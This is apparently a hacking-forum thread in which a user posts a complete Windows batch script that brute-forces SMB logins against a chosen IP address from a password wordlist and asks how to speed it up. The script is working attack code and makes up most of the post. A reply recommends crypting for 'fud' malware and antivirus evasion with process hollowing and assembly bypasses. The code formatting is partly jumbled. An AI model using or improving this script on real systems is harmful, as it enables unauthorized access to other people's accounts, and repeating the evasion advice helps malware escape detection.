Thread: [Help with bat SMB-Bruteforce.](#)

NO199 - May 6, 2026, 8:52 am

Yo, so I'm trying to find a way to make ebola's man bruteforce try passworrrds faster. So if someone can help me i would really appreciate that.
Here is the Bruteforce:

```
@echo off
title SMB Bruteforce.
color A
echo.
set /p ip="Enter IP Address: "
set /p user="Enter Username: "
set /p wordlist="Enter Password List: "

set /a count=1
for /f %%a in (%wordlist%) do (
    set pass=%%a
    call :attempt
)
echo Password not Found :(
pause
exit

:success
echo.
echo Password Found! %pass%
net use \\%ip% /d /y >nul 2>&1
pause
exit

:attempt
net use \\%ip% /user:%user% %pass% >nul 2>&1
echo [ATTEMPT %count%] [%pass%]
set /a count=%count%+1
if %errorlevel% EQU 0 goto success
```

```
:attempt
net use \\%ip% /user:%user% %pass% >nul 2>&1
echo [ATTEMPT %count%] [%pass%]
set /a count=%count%+1
if %errorlevel% EQU 0 goto success
Why not use a threaded tool like Hydra?
```

ncrmrpher_or_FreakAnon - May 8, 2026, 7:34 pm

you could use autoit and CreateServiceA calls to brute force the pw. Use CreateProcessA for crypting if u need a good fud. and stay away from process hollowing unless you can bypass something w3ith some good asm bypasses.

I remember using this file a while back, im pretty sure it's fake though.
```
